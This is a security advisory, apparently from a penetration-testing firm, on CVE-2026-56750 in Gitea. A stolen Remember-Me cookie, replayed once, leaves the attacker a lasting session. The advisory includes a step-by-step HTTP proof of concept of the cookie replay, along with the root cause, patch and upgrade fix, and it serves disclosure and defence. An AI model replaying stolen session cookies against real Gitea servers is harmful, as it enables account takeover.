criticalCVE-2026-56750Jul 21, 2026

CVE-2026-56750: Gitea Remember-Me Token Theft Leaves Attacker Session Alive

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

Stealing a Gitea Remember-Me cookie and using it once gives an attacker a permanently valid session, even after the real user logs back in and their original cookie is rejected.

Packagecode.gitea.io/gitea
Ecosystemgo
Affected< 1.27.0
Fixed in1.27.0

The problem

Gitea implements Remember-Me cookies using a split token design (ID:Hash). Each use rotates the Hash while keeping the same ID, so a replayed stale hash signals a compromised token.

When CheckAuthToken detects a hash mismatch, the autoSignIn handler deletes the victim's local browser cookie but never removes the attacker's already-rotated token from the database. The attacker's session remains valid indefinitely, fully defeating the split-token theft-detection design.

Proof of concept

A working proof-of-concept for CVE-2026-56750 in code.gitea.io/gitea, with the exact payload below.

http
# Step 1: Intercept the victim's Remember-Me cookie (e.g. via network sniff, XSS, or server log leak).
# Cookie name: gitea_incredible
# Cookie value format: <token_id>:<token_hash_hex>
# Example stolen value: 14:a3f1c2d4e5b67890abcdef1234567890abcdef1234567890abcdef1234567890

# Step 2: Send the stolen cookie to any authenticated endpoint before the victim does.
GET / HTTP/1.1
Host: gitea.example.com
Cookie: gitea_incredible=14:a3f1c2d4e5b67890abcdef1234567890abcdef1234567890abcdef1234567890

# Gitea validates ID 14, finds a hash match, authenticates the attacker,
# and rotates the DB record to a new hash (attacker now owns the live token).

# Step 3: Victim later uses their (now-stale) original cookie.
# CheckAuthToken returns ErrAuthTokenInvalidHash.
# autoSignIn calls ctx.DeleteSiteCookie -- victim's browser cookie is cleared.
# BUG: DeleteAuthTokensByUserID is never called.
# The attacker's rotated token in the DB is untouched.

# Step 4: Attacker continues to make authenticated requests indefinitely.
GET /user/settings HTTP/1.1
Host: gitea.example.com
Cookie: gitea_incredible=<attacker_rotated_token_id>:<attacker_rotated_hash>

The root cause is in services/auth/auth_token.go (CheckAuthToken, lines 33-64). On ErrAuthTokenInvalidHash, the code correctly identifies a token replay scenario per the Paragonie split-token spec, but the autoSignIn caller only clears the victim's browser cookie via ctx.DeleteSiteCookie and returns early without purging the database record.

The patch adds a DeleteAuthTokensByUserID call in the ErrAuthTokenInvalidHash branch of autoSignIn, removing all remember-me tokens for that user ID from the database the moment a hash mismatch is detected. This terminates every active remember-me session, including the attacker's.

CWE-613 (Insufficient Session Expiration) applies: the server-side token row persists even though the security invariant that demanded its deletion had already been triggered.

The fix

Upgrade to Gitea v1.27.0. The fix is in PR #38406 (commit de4b8277 / f69e15af): autoSignIn now calls DeleteAuthTokensByUserID when ErrAuthTokenInvalidHash is returned, purging all remember-me sessions for the affected user on any detected token replay. No configuration change is needed beyond the upgrade.

Reported by AdamKorcz.

References: [1][2][3][4][5][6]

Related research